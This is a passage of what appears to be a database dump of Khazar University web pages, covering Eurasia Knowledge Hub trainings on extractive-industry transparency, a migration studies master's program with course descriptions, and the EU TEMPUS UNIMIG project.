Economics and Management of Khazar</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">University and the director of Eurasia Hub Ingilab Ahmadov, economists Gubad Bayramov and Kenan Aslanli, and the Khazar University faculty members Namik Khalilov and Nijat Garayev . During eight days, students learned the specifics of petroleum economy, revenue management and economic diversification in the oil rich countries. Not only&nbsp; students of Khazar University, but also students of foreign universities participated in Course. At the end of the summer school, 25 students who participated in the course passed the exam and were awarded with certificates.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is the second summer school organized by Eurasia Hub at Khazar University.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>On May 7-10, 2013</strong>&nbsp;the Eurasia Extractive Industries Knowledge Hub arranged 4 days study tour for Afghanistan EITI MSG delegation. Eleven MSG members representing all stakeholders had meetings with the government representatives, extractive companies, audit company and CSO organizations. Another important element of this study tour was workshop titled “Towards EITI Compliance” organized by Eurasia Hub.<br>During the workshop the participants obtained knowledge and skills on new EITI standards, reporting requirements and specifics of Afghanistan, validation process, problems that occurred in Afghanistan during last validation process, as well as communication policy within EITI development.  <br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/demo/14_11_25_2013_8_1.jpg\" style=\"border:0px #000000;width:240px;height:135px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_8_2.jpg\" style=\"border:0px #000000;width:229px;height:135px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_8_3.jpg\" style=\"border:0px #000000;width:201px;height:135px;vertical-align:baseline\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br style=\"margin-bottom:10px\"><span style=\"color:#0000ff\"><strong>On March 4-10, 2013</strong></span>&nbsp;Khazar University’s Eurasia Knowledge Hub held its routine training session entitled \"Value chain: production towards sustainable development.” About 20 members of civil society, media representatives, representatives of government agencies, and universities from six countries--Azerbaijan, Ukraine, Kazakhstan, Kyrgyzstan, Tajikistan and Mongolia-- participated in the training.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The presentations were made on subjects such as contracts in the extractive industries and their transparency, corporate social and environmental responsibility, EITI, budget issues, revenue management, sovereign funds (oil funds), economic diversification, and other areas.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">On the second day of the training, BP specialists made interesting presentations on the company\'s social and fiscal commitments. After the presentations, the participants visited the Sangachal terminal of the Baku-Tbilisi-Ceyhan main export oil pipeline, where they had an up-close introduction to the business process. Comprehensive information about oil agreements, BP\'s operations in Azerbaijan and the Azeri-Chirag-Guneshli field was given to the participants at the terminal.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Specialists of America\'s Revenue Watch Institute, well-known experts Andrew Bauer and Susan Maples, made interesting presentations in the area of extractive industry contracts and their economic and legal aspects, contracts of employment and fiscal instruments, signing contracts, revenue management, sovereign wealth funds and macroeconomic management at the event. During the training, participants held interactive discussions about all the subjects that had been presented, and they divided into groups to perform specific tasks.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Participants were evaluated daily by trainers during the week-long training event. The alumni who earned the highest results from their evalutions will be invited to a \"Training for Trainers\" traditionally organized at the end of the year by Eurasia Knowledge Hub.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/demo/14_11_25_2013_9_1.jpg\" style=\"border:0px #000000;width:199px;height:150px\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_9_2.jpg\" style=\"border:0px  #000000;width:199px;height:150px\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_9_3.jpg\" style=\"border:0px  #000000;width:199px;height:150px\"></p> <p><strong style=\"font-family:\'times new roman\', times, serif;font-size:medium\">On February 26, 2013</strong><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;the Eurasia Knowledge Hub held training on EITI basic</span><strong style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</strong><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">course in Tbilisi, Georgia.&nbsp; About 20 members of civil society, media representatives, representatives of government agencies, Georgian energy companies and BP participated in the training. The trainer Ingilab Ahmadov&nbsp; and RWI&nbsp; staff member Galib Efendiev delivered training sessions that covered topics on basic of EITI: requirements, the mechanism and benefits , process and stages, analyses of EITI report , evaluation of report\' quality and other areas.&nbsp; During the training, participants held interactive discussions about all the subjects that had been presented, and they divided into groups to perform specific tasks. </span> <br></p>    </div>'),(656,445,'en','Student Union','Student Union',''),(657,446,'en','Institutional Research','Institutional Research','<div><div><p>The central mission of the Institutional Research &nbsp;is the collection, organization, and analysis of institutional and other data to support institutional management, operations, decision-making, and planning functions.</p><p>Included in this central mission is systematic information processing of University-wide data leading to broadly based institutional perspectives and understanding.</p><p>Also included are studies related to projected needs, program objectives, as well as efficiency and effectiveness in the use of institutional resources.</p><div><br></div></div></div>'),(658,447,'en','Internet Education Center','Internet Education Center','<p><strong>Internet Education Center&nbsp;</strong>was established on 1 October, 2010 by an order of the founder of Khazar University and chairman of its Board of Directors and Trustees, Hamlet Isaxanli, in order to create a student information center at Khazar University, to manage the website, and to implement web-related projects.</p><p>The Internet Institute&nbsp;&nbsp;is located on the <strong>Khazar University Neftchilar campus (room 406)</strong>.</p>'),(659,450,'en','Khazar TV','Khazar TV','<br><div><p>Since 2010, Khazar University has been broadcasting from the Voice of Khazar internet TV. It is a 24-hour world-wide broadcast presenting world and Azerbaijani films, national music of various styles, classical music and other programs. This is Azerbaijan’s first university TV station. (tv.radiokhazar.org)&nbsp;<a href=\"http://www.khazar.org/s520/Khazar-TV/tv.radiokhazar.org\" style=\"color:rgb(58, 59, 59);outline:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media7372820798773319\" width=\"150\" height=\"100\">&nbsp;</a></p><p><a href=\"http://radiokhazar.org/?page_id=320\">See the website of Khazar TV</a></p></div>'),(660,451,'en','Activities','Activities','<p><strong>MCC carries out a wide range of activities which include:</strong></p><p><strong><br></strong></p><p><strong>Database</strong></p><ul><li>follow-up on migration-related projects implemented by relevant government agencies, international organizations and civil society organizations;</li><li>follow-up on legislative changes and the maintenance of a legislative database accessible for all interest groups;</li><li>research papers and publications by academic circles in Azerbaijan;</li><li>statistical data regarding migrants (labor migrants, irregular migrants), refugees, asylum seekers, and IDPs. For this purpose, MCC closely cooperates with the State Statistics Committee, State Committee on Work with Refugees and IDPs, State Migration Service, State Border Service, IOM, UNHCR and other relevant organizations.</li></ul><p><strong><br></strong></p><p><strong>Research</strong></p><ul><li>MCC supports interdisciplinary research in the field of migration. The center will establish strategic links with other research centers on migration in the region, as well as internationally.</li></ul><p><strong><br></strong></p><p><strong>Training Activities</strong></p><ul><li>The MCC carries out awareness raising activities for researchers, faculty, students, NGOs and other practitioners through organizing training courses by local and international experts, including representatives of the IOM Mission in Azerbaijan and relevant state agencies.</li></ul><p><strong>Dissemination Activities</strong></p><ul><li>MCC produces and widely disseminates publications and statistical data to make all information accessible to the wider public (migration officials, journalists, researchers, public institutions, civil society). It organizes seminars, conferences on the state of migration, human trafficking, irregular migration, refugees and asylum seekers, and other relevant issues, as well&nbsp;as new and prospective research fields in Azerbaijan.</li></ul><br><p><strong>Migration Master Programme</strong></p><ul><li>MCC supports the organization and administration of a Master Program in World Economics and Migration Processes.&nbsp;MCC staff are responsible to maintain and update the E-learning platform and the connected database on migration related research and official data available. All the resources are available for students and faculty.&nbsp;</li></ul><br><p><strong>Cooperation</strong></p><ul><li>The MCC actively participates in the Regional Research Network on Migration to be established between the three regional MCCs. It also cooperates internationally with other competence centers around the world.</li></ul>'),(2254,1377,'az','Karyera Mərkəzi Gəncə Avro-Atlantik Məlumat Mərkəzi ilə görüş keçirdi','2016-cı il oktyabrın 3-də Xəzər Universiteti Karyera Mərkəzi Gəncə Avro-Atlantik Məlumat Mərkəzinin sədri Mehman Xəlilovla görüş təşkil etdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 3-də Xəzər Universiteti Karyera Mərkəzi Gəncə\r\nAvro-Atlantik Məlumat Mərkəzinin sədri Mehman Xəlilovla görüş təşkil etdi.\r\nGörüşdə Karyera Mərkəzinin koordinatoru Ülviyyə Hüseynova və Əlilliyi olan tələbələr\r\nüçün Mərkəzinin koordinatoru Rima Məmmədova iştirak edirdilər. Gəncə şəhərində\r\n9-11-ci sinif şagirdləri üçün “Uğurlu kariyeranın inkişafı” forumundan söhbət\r\naçıldı . Eyni zamanda, müxtəlif sahələr üzrə əməkdaşlıq qurulmasından bəhs\r\nedildi. Gəncə Avro-Atlantik Məlumat Mərkəzinin sədri Mehman Xəlilov Xəzər\r\nUniversiteti Karyera Mərkəzinin fəaliyyəti ilə də tanış oldu.</p>'),(661,452,'en','Graduate Program','Graduate Program','<p><strong>Master of Arts in World Economics and Migration</strong><strong>&nbsp;</strong></p><p>Migration in today’s globalised world stands at the heart of key national and international debates. It has developed new dynamics and poses new social, economic and political challenges. From this viewpoint, the School of Economics and Management at Khazar University offers the Master’s Program in World Economics and Migration Processes. The program introduces students to key concepts, research and analysis in the economical aspects of migration. It enables students to understand the nature of local, regional and international migration and its role in global social and economic change. Teaching in the program combines lectures and discussion seminars. Students have individual dissertation supervision and are expected to complete an internship during the program. The Master’s Program in Migration Studies&nbsp; is aimed toward students who wish to work with migrants and asylum seekers in&nbsp; Azerbaijan and different parts of the world; who aspire to posts in International Organization for Migration, State Migration Service, United Nations, Council of Europe, European Union, World Bank, national policy think-tanks, government research and policy departments, or NGOs; and to students wishing to pursue doctorates in the field of World Economics and Migration Processes.</p><p>Aims and objectives:</p><ul><li>to analyze theoretical and empirical models developed to study the economic impact of migration;</li><li>to realize the processes involved in the close relationship of migration with world economics;</li><li>to analyze the political economy of migration from a historical perspective, different forms of the study of migration and major trends in migration theories;</li><li>to offer students the opportunity to combine study and analysis of new critical perspectives on the world economy and migration studies;</li><li>to develop students’ ability to think critically;</li><li>to foster students’ ability to carry out independent research.</li></ul> <p><br></p><p><strong>Master of Arts in World Economics and Migration Processes</strong><strong>&nbsp;</strong>  <br></p><p><strong>Study Plan</strong>  <br></p><br><table rules=\"none\"><tbody><tr><td width=\"205\"><p><strong>Course Title</strong></p></td><td width=\"205\"><p><strong>ECTS</strong></p></td><td width=\"205\"><p><strong>Comments</strong></p><p>(i.e. obligatory/ elective, module is linked to etc.)</p></td></tr><tr><td colspan=\"3\" width=\"614\"><p><strong>Semester 1</strong></p></td></tr><tr><td width=\"205\"><p>Research Methods for Social Sciences</p></td><td width=\"205\"><p>6</p></td><td width=\"205\"><p>Elective</p></td></tr><tr><td width=\"205\"><p>Economic Development and Migration Processes</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p>Statistics and Econometrics</p></td><td width=\"205\"><p>10</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p>Introduction to Migration Studies</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>major-elective</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total:</strong></p></td><td width=\"205\"><p><strong>32</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td colspan=\"3\" width=\"614\"><p><strong>Semester 2</strong></p></td></tr><tr><td width=\"205\"><p>Globalization and Human Resource Management</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>Elective</p></td></tr><tr><td width=\"205\"><p>Economics of Natural Resources</p></td><td width=\"205\"><p>6</p></td><td width=\"205\"><p>Elective</p></td></tr><tr><td width=\"205\"><p>Accounting, Finance and Law</p></td><td width=\"205\"><p>6</p></td><td width=\"205\"><p>Elective</p><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p>Regular and irregular migration, trafficking and smuggling</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>major-elective</p><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total:</strong></p></td><td width=\"205\"><p><strong>28</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td colspan=\"3\" width=\"614\"><p><strong>Semester 3</strong></p></td></tr><tr><td width=\"205\"><p>Internship (field practice)</p></td><td width=\"205\"><p>20</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p>&nbsp;</p></td><td width=\"205\"><p>&nbsp;</p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p>International Economics and Migration</p></td><td width=\"205\"><p>10</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total:</strong></p></td><td width=\"205\"><p><strong>30</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Semester 4</strong></p></td><td width=\"205\"><p>&nbsp;</p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p>Master Thesis</p></td><td width=\"205\"><p>30</p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total</strong></p></td><td width=\"205\"><p><strong>30</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Total number of ECTS semester 1 – 4:</strong></p></td><td width=\"205\"><p><strong>120</strong></p></td><td width=\"205\"><p>&nbsp;</p><p><br></p></td></tr></tbody></table>'),(662,453,'en','Courses&Syllabi','Courses&Syllabi','<p><strong>COURSE CATALOGUE</strong></p><p>&nbsp;</p><h3><strong><a href=\"http://www.khazar.org/files/social/Introduction_to_%20Migration%20(Gunel%20Rasulova).docx\">Introduction to Migration Studies</a></strong></h3><p><strong>Content</strong></p><p>The course introduces students to the&nbsp;historical background of migration and its relation to globalization,&nbsp;complexity and variety of contemporary migration, an overview of the key concepts in sociology and economics of migration;&nbsp;the economic causes and effects of migration and the immigrants’ economic assimilation in the host country. The course will investigate the topics from regional and international perspectives.&nbsp;</p><p>&nbsp;</p><p><strong>Learning Outcome</strong></p><p>By the end of the course the students will have acquired:</p><p><strong><br></strong></p><ul><li>An overview of migration processes in the past (a) and present (b) their structures and consequences, including the ability to critically evaluate categories and approaches of migration research and to apply them in a reflecting manner.</li><li>The ability to understand the complexity and variety of contemporary migration.</li><li>An overview of migration patterns and their historical background and relation to globalization.</li><li>Knowledge and skills in identifying and evaluating the economic costs and benefits of migration for sending and receiving countries.</li><li>The ability to formulate relevant research questions and implement a plan to answer these questions.</li></ul><p><strong><br></strong></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Research Methods for Social Sciences</strong></h3><p><strong>Content</strong></p><p>This course on Research Methods is designed to introduce students to the fundamentals of social research including research design, data collection, data analysis, questions of validity, and ethical issues that must be considered while conducting research in the social sciences. The course is divided into three substantive sections: (a) theory and methods; (b) research design and tools for data collection; and (c) data analysis techniques.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will:</p><ul><li>demonstrate their understanding of major research methods and the ability to make use of both quantitative and qualitative research techniques;&nbsp;</li><li>identify the appropriate techniques for different kinds of research questions;&nbsp;</li><li>critically assess the utility and appropriateness of diverse methods and techniques for the study of relevant research issues in the Social Sciences, particularly in Migration studies;&nbsp;</li><li>­understand the practical application of research techniques such as administering surveys, conducting interviews, and writing field-notes along with the processes of sampling, data collection and data analysis. &nbsp;</li></ul><p>&nbsp;&nbsp;</p><p><strong>Workload</strong></p><p>Students will be awarded 6 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Regular and irregular migration, trafficking and smuggling</strong></h3><p><strong>Content</strong></p><p>This course is designed to offer students an interactive module that analytically explores the phenomena of regular and irregular migration, trafficking of human beings and smuggling. This course will review their social, political and economic impact on security and stability in the region and internationally. The students will learn about the national and international legislative acts concerning migration, trafficking and smuggling and best practices [policies] to address the relevant problems.</p><p>&nbsp;</p><p><strong>Learning Outcome</strong></p><p>By the end of the course the students will have acquired:</p><p>●&nbsp; &nbsp; Understanding of regular and irregular migration, trafficking and smuggling, and ability to distinguish them;</p><p>●&nbsp; &nbsp;&nbsp; Ability to analyze social, political and economic impacts and consequences of migration, trafficking and smuggling;</p><p>●&nbsp;&nbsp;&nbsp;&nbsp;Understanding of new and sustainable policies to address the issues stemming from irregular migration, as well as trafficking of human beings and smuggling;</p><p>●&nbsp;&nbsp;&nbsp;&nbsp;Application of concepts and methods learned in class by conducting field research exercises on actual situations and problems;</p><p>●&nbsp;&nbsp;&nbsp;&nbsp;Analytical and communication skills through written assignments and oral presentations based on a group research project.</p>  <p><br></p><p><strong>Workload</strong></p><p>Students will be awarded 8 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Statistics and Econometrics</strong></h3><p><strong>Content</strong></p><p>The first part of the course provides students with the fundamentals of probability theory, data design, statistical inference, estimation, and hypothesis testing which are necessary for most statistical analyses and to understand the second half of the course.</p><p>The second part of the course explores more advanced techniques. It contains theory of regression analysis, and applications of regression analyses to various economic problems and types of data: Linear regression; Hypothesis tests and confidence intervals in multiple regression; Nonlinear regression; Logistic regression; Panel data analysis; The use of instrumental variables; Experiments and quasi-experiments; Time series analysis. Students will also be introduced to statistical computing with Excel, Stata, and EViews. The computer based exercises will enable students to obtain practical experience in analysing real economic data.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will have acquired:</p><ul><li>Knowledge and skills to conduct a good statistical analysis, to develop correct econometric models, to assess model assumptions and to interpret results.</li><li>Proficiency in using statistical software for data analyses.</li><li>Ability to read and comprehend more advanced literature in Statistics and Econometrics.</li><li>Ability to empirically implement a variety of theoretical models to economic problems.</li></ul><p>&nbsp;&nbsp;</p><p><strong>Workload</strong></p><p>Students will be awarded 10 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Economics of Natural Resources</strong></h3><p><strong>Content</strong></p><p>This course focuses on a wide range of economic issues relating to natural resources, with a particular emphasis on energy. The course explores major economic models of natural resources and energy use. It is designed to familiarize students with various tools and techniques used by economists in environmental and natural resource management. Furthermore, the association of demographic issues and poverty with natural resources will be explored and discussed using case studies.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p><strong><em>Pre-requisite</em></strong><em>: Knowledge of basic microeconomic analysis; Competitive markets; Profit maximizing concepts; Competitive equilibrium price formation; Economic efficiency concepts; Efficiency of competitive markets; Market failure (Private versus social costs, Externalities, Public goods); Interest rates and discounting.</em></p><p>By the end of the course the students will have acquired:</p><ul><li>Knowledge of economic theory of depletable resources, depletable resource market modeling and policy analysis, economic issues for renewable resources</li><li>Ability &nbsp;to describe and explain the principal rules of optimum exploitation of renewable and depletable natural resources and various methods of natural goods valuation.</li></ul><br> <p><strong><br></strong></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 120 hours, 50 contact hours (lectures and seminars),70 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong><a href=\"http://www.khazar.org/files/ECON_470_Economic_Development_and_Migration.docx\">Economic Development and Migration Studies</a></strong></h3><p><strong>Content</strong></p><p>The course focuses on the migration– economic development nexus: the impact of economic factors on migration and the impact of migration on the economic development in source and destination countries. Particular investigation will be carried out on the contribution of international migration to economic growth, poverty alleviation, health and educational outcomes in sending countries. Analysis of theoretical concepts will be complemented by case studies and group activities.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will have acquired:</p><ul><li>Knowledge of economic development, and necessary skills of analyzing and evaluating the relationship between economic development and migration studies.</li><li>Ability to understand and explain the economic causes and effects of migration on economic development</li></ul><p><br></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 120 hours, 50 contact hours (lectures and seminars), 70 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Human Resource Management</strong></h3><p><strong>Content</strong></p><p>&nbsp;</p><p>The course exposes students to the field of human resource management at the organizational level. Human-resources management is considered as an empirical sphere of the basic management process. The main feature of the course is to develop managerial skills in establishing organizational personnel policy. Specific topics include human resources planning, recruitment, staffing, training and development and compensation, human resource strategy, foundation of relevant legislation necessary for practical implementation in an organization.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will have acquired:</p><ul><li>How effectively manage and plan key human resource functions within organizations</li><li>Knowledge and skills to analyze and examine current issues, trends, practices, and processes in HRM in relation with Azerbaijani legislation</li><li>Effective written and oral communication skills</li></ul><p><strong><br></strong></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 120 hours, 50 contact hours (lectures and seminars), 70 hours for independent studies (incl. preparatory reading).</p>'),(663,455,'en','TEMPUS Program','TEMPUS Program','<p><strong>UNIMIG - Migration and Higher Education: Developing Skills and Capacity</strong> </p><p><br></p>\r\n<p><strong><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">   October 15, 2012  </span><br></strong></p><p><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">     36 months  </span><br></p><p><br></p><p><strong>Brief information and main objectives:</strong>  <br></p>The aim of the project is to transfer skills and competences in the interdisciplinary field of migration studies in the European Neighborhood Partnership Instrument East region, specifically in Armenia, Azerbaijan and Georgia.<br><p>&nbsp;The specific objectives are:&nbsp;</p><ul><li>To develop, accredit and implement a basic curriculum for a Master Program in Migration Studies with a regional dimension in line with the Bologna requirements at Yerevan State University and Russian-Armenian University, Armenia; Khazar University and Qafqaz University, Azerbaijan; Ivane Javakhishvili Tbilisi State University and Georgia Institute for Public Affairs, Georgia.</li><li>To establish national Migration Competence Centers (MCC) at Tbilisi State University, Yerevan State University and Khazar University that will serve as interfaces among universities, research and public institutions, governments and the public. &nbsp;&nbsp;</li></ul><p>The Regional Online Platform on Migration, maintained and updated by the MCCs, is another important project output. It will support master students by providing relevant literature and data for research purposes and the setup of an e-Learning component. It will be widely used to disseminate the curriculum, publications, and statistical data produced by the MCCs, making all materials accessible to the wider public (migration officials, journalists, researchers, public institutions, civil society).</p><p>International Organization for Migration (IOM) Azerbaijan is participating in the project, primarily contributing to the development and implementation of the master’s programs in migration studies and MCCs.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><span style=\"font-size:large\">The Ministry of Education of Azerbaijan will support the accreditation procedures in Azerbaijan and participate in capacity building activities for curriculum development in line with Bologna standards with support of EU partners.</span><br><p><br></p><p><br></p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.tsu.edu.ge/\" target=\"_blank\">Tbilisi State University</a></p><p>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.iliauni.edu.ge/\" target=\"_blank\">Ilia State University</a></p><p><a href=\"http://www.ysu.am/\" target=\"_blank\">Yerevan State University</a></p><p><a href=\"http://www.rau.am/\" target=\"_blank\">Russian- Armenian University</a></p><p><a href=\"http://www.qu.edu.az/\" target=\"_blank\">Qafqaz University</a></p><p><a href=\"http://www.khazar.org/v1023/\" target=\"_blank\">Khazar University</a></p><p><a href=\"http://www.gipa.ge/\" target=\"_blank\">Georgian Institute of Public Affairs</a>&nbsp;</p><p><a href=\"http://www.uni-graz.at/\" target=\"_blank\">Karl-Franzens University of Graz</a></p><p><a href=\"http://www.ulb.ac.be/\" target=\"_blank\">Free University Brussels</a></p><p><a href=\"http://www.uni-oldenburg.de/en/\" target=\"_blank\">Carl von Ossietzky University Oldenburg</a></p><p><a href=\"http://www.ua.es/\" target=\"_blank\">University of Alicante</a></p><p><a href=\"http://www.wus-austria.org/\" target=\"_blank\">World University Service&nbsp;- Austrian Committee</a></p><p><a href=\"http://www.mta.gov.am/\" target=\"_blank\">State Migration Service of the Ministry of Territorial Administration of Republic of Armenia</a></p><p><a href=\"http://www.edu.gov.az/\" target=\"_blank\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.iom.int/\" target=\"_blank\">International Organization for Migration (IOM)</a></p>  <p><br></p><p><strong>Contact:</strong>&nbsp;</p>Leyla Niyazova, Project Coordinator and Director of Khazar University Migration Competence Center<br><p><a href=\"mailto:lniyazova@khazar.org\">lniyazova@khazar.org</a></p><p>(+994) 012 421 7916 ext. 234</p><p><br></p><p><strong>Project website:</strong>  <br></p>  <p><span class=\"Apple-tab-span\" style=\"white-space:pre\"></span><a href=\"http://www.unimig.tsu.edu.ge/\" target=\"_blank\">http://www.unimig.tsu.edu.ge/</a>&nbsp;</p>'),(664,454,'en','2014','2014','<img src=\"/files/demo/14_11_25_eurasia_news.jpg\" style=\"border:0px  #000000;margin-right:10px;width:250px;height:143px;float:left\"><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Eurasia Hub strategy development was given a start.&nbsp;</strong>First discussions were organized during Regional Eurasia meeting in Istanbul. OSF representatives from Ukraine, Kyrgyzstan, Kazakhstan, PWYP regional coordinator and newly elected Steering Committee member from Eurasia, as well as NRGI staff came together to discuss 2015-2017 strategy for Eurasia Hub. NRGI’s Matteo Pellegrini made a presentation on knowledge hub programs of NRGI, its history and achievements. He also shared with his view that although being part of NRGI strategy, Hubs should be independent and develop new training modules based on needs of countries in region.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">He also talked about recent Eurasia Hub evaluation and main conclusions: “ToT Focus, high demand, relevance, regularity and diversity of offerings, as well as existence of follow up and Hub’s becoming a real “Brand” are of strong sides. However, there are certain things that need improvement and institutional anchorage, alumni network, lack of M&amp;E and financial sustainability are among them” – said Matteo.</p>  <table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p>Matteo also informed about next stages for strategy developments, about guidelines and templates developed for this purpose and potential mapping process. Eurasia Hub director Ingilab Ahmadov and NRGI regional coordinator Galib Efendiyev told about Eurasia Hub background, achievements and alumni and funding opportunity provided recently by SECO.</p><p>There were active discussions on what areas were important for next stage. NRGI’s Fidan Bagirova presented Hub evaluation outcomes provided just prior to Istanbul meeting: “Survey we provided within HUB alumni and PWYP network showed that there were particular topics that were requested to be included to Hub agenda. Budget and state procurement topics were leading in this list” – she said. She also mentioned on SoE, data analyses and gap assessment methodology workshops were highly demanded by Istanbul regional meeting participants. PWYP’s Oliana Valigura told about needs of PWYP affiliated coalitions in region: “Legal analyses of extractive sector, fundraising methodology, use of data and sub-national EITI are among issues of interest of many CSO representatives in region” – said Oliana. She also touched post-training activities and mentioned motivation was very essential in this respect. PWYP newly selected Steering Committee member Olena Pavlenko said Hub trainings can be a tool for solution of problems and conflicts with national coalitions. OSF funding for Hub was also much discussed and OSF representatives from Kyrgyzstan and Kazakhstan told about funding restrictions for travels and group tried to discuss solutions for this situation.</p><p>Galib Efendiyev opened discussion about possible sub-hubs in several countries of the region. NRGI Mongolia country coordinator Dorjdari&nbsp; Namkhaijantsan stressed importance of opening a sub-hub in Mongolia:&nbsp; “There are several reasons and one of them is language issue. Mostly representatives from Mongolia speak neither Russian, nor English and that becomes an obstacle” – said Dorjdari.</p><p>Finally, the group debated on governance of Hub and inclusion of new stakeholders to Hub Board. Summarizing the strategic discussion meeting Galib Efendiyev told Eurasia Hub will start working on its next period strategy and Board members will be contacted for their contribution and recommendations.<strong>&nbsp;</strong>&nbsp;<strong>&nbsp;</strong></p></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>On June 23 - July 2 , 2014&nbsp;</strong>Eurasia Extractive Industries Knowledge Hub in Khazar University organized a summer school on “Economic Diversification and Sustainable Development in Petroleum Rich Countries” at the School of Economics and Management of Khazar University. The course was delivered&nbsp; by the dean of the School of Economics and Management of Khazar University and the director of Eurasia Hub Ingilab Ahmadov, the School of Economics and Management faculty members Namik Khalilov and Nijat Garayev . During eight days, students learned the specifics of petroleum economy, revenue management and economic diversification in the oil rich countries. At the end of the summer school, 21 students who participated in the course passed the exam and were awarded with certificates. This is the third summer school organized by Eurasia Hub at Khazar University. &nbsp;</p>  <img src=\"/files/demo/14_11_27_Lvov%2CMay_2014.JPG\" style=\"border:0px #000000;width:350px;height:263px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_27_Lvov1%2CMay_2014.JPG\" style=\"border:0px #000000;width:350px;height:263px;vertical-align:baseline\"><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>On April 7-9, 2014</strong>&nbsp;Eurasia 